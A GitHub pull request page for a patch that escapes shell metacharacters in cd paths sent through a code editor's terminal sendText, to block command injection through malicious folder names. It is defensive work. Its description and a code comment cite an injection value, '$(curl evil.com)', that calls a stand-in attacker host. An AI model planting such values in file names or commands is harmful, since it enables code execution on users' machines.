-
Notifications
You must be signed in to change notification settings - Fork 20
fix: Sanitize folder paths in terminal sendText to prevent command Injection #190
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
aakashmandavilli96
wants to merge
1
commit into
aws:1.1
Choose a base branch
from
aakashmandavilli96:1.1
base: 1.1
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
+65
−0
Open
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,64 @@ | ||
| Sanitize folder paths in terminal sendText to prevent command injection | ||
|
|
||
| Folder names containing shell metacharacters (e.g., $(curl evil.com)) | ||
| can trigger command injection when extensions send commands like | ||
| "cd <path> && python file.py" via terminal.sendText(). This patch | ||
| sanitizes path segments in cd commands by escaping shell-dangerous | ||
| characters before the text is written to the terminal process. | ||
|
|
||
| Index: b/src/vs/platform/terminal/common/terminalEnvironment.ts | ||
| =================================================================== | ||
| --- a/src/vs/platform/terminal/common/terminalEnvironment.ts | ||
| +++ b/src/vs/platform/terminal/common/terminalEnvironment.ts | ||
| @@ -126,3 +126,29 @@ export function sanitizeCwd(cwd: string) | ||
| export function shouldUseEnvironmentVariableCollection(slc: IShellLaunchConfig): boolean { | ||
| return !slc.strictEnv; | ||
| } | ||
| + | ||
| +/** | ||
| + * Sanitize shell-dangerous characters in path segments of terminal commands. | ||
| + * This targets command injection via malicious folder/file names containing | ||
| + * shell metacharacters like $(), backticks, etc. that get interpolated when | ||
| + * extensions send raw commands via terminal.sendText(). | ||
| + * | ||
| + * The function identifies path-like segments following 'cd' commands and | ||
| + * escapes shell metacharacters to prevent command substitution. | ||
| + */ | ||
| +export function sanitizeCdPathsInCommand(text: string): string { | ||
| + // Match 'cd' followed by a path, terminated by ; && || & or end of string | ||
| + // This handles patterns like: cd /path/to/$(evil) && python file.py | ||
| + return text.replace( | ||
| + /\bcd\s+((?:[^\s;|&]|\\ )+)/g, | ||
| + (_match: string, path: string) => { | ||
| + // If the path is already properly quoted (single or double quotes), leave it alone | ||
| + if (/^'.*'$/.test(path) || /^".*"$/.test(path)) { | ||
| + return `cd ${path}`; | ||
| + } | ||
| + // Escape shell metacharacters that enable command injection | ||
| + const sanitized = path.replace(/([\$`!#&|;(){}<>])/g, '\\$1'); | ||
| + return `cd ${sanitized}`; | ||
| + } | ||
| + ); | ||
| +} | ||
| Index: b/src/vs/workbench/contrib/terminal/browser/terminalInstance.ts | ||
| =================================================================== | ||
| --- a/src/vs/workbench/contrib/terminal/browser/terminalInstance.ts | ||
| +++ b/src/vs/workbench/contrib/terminal/browser/terminalInstance.ts | ||
| @@ -48,6 +48,7 @@ import { IEnvironmentVariableCollection, | ||
| import { deserializeEnvironmentVariableCollections } from '../../../../platform/terminal/common/environmentVariableShared.js'; | ||
| import { GeneralShellType, IProcessDataEvent, IProcessPropertyMap, IReconnectionProperties, IShellLaunchConfig, ITerminalDimensionsOverride, ITerminalLaunchError, ITerminalLogService, PosixShellType, ProcessPropertyType, ShellIntegrationStatus, TerminalExitReason, TerminalIcon, TerminalLocation, TerminalSettingId, TerminalShellType, TitleEventSource, WindowsShellType, type ShellIntegrationInjectionFailureReason } from '../../../../platform/terminal/common/terminal.js'; | ||
| import { formatMessageForTerminal } from '../../../../platform/terminal/common/terminalStrings.js'; | ||
| +import { sanitizeCdPathsInCommand } from '../../../../platform/terminal/common/terminalEnvironment.js'; | ||
| import { editorBackground } from '../../../../platform/theme/common/colorRegistry.js'; | ||
| import { getIconRegistry } from '../../../../platform/theme/common/iconRegistry.js'; | ||
| import { IColorTheme, IThemeService } from '../../../../platform/theme/common/themeService.js'; | ||
| @@ -1366,6 +1367,9 @@ export class TerminalInstance extends Di | ||
| } | ||
|
|
||
| async sendText(text: string, shouldExecute: boolean, bracketedPasteMode?: boolean): Promise<void> { | ||
| + // Sanitize shell command substitution patterns in cd path arguments | ||
| + // to prevent command injection via malicious folder names (e.g., $(curl evil.com)) | ||
| + text = sanitizeCdPathsInCommand(text); | ||
| // Apply bracketed paste sequences if the terminal has the mode enabled, this will prevent | ||
| // the text from triggering keybindings and ensure new lines are handled properly | ||
| if (bracketedPasteMode && this.xterm?.raw.modes.bracketedPasteMode) { | ||
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
will strictEnv always be set for ! or should we use it sparingly?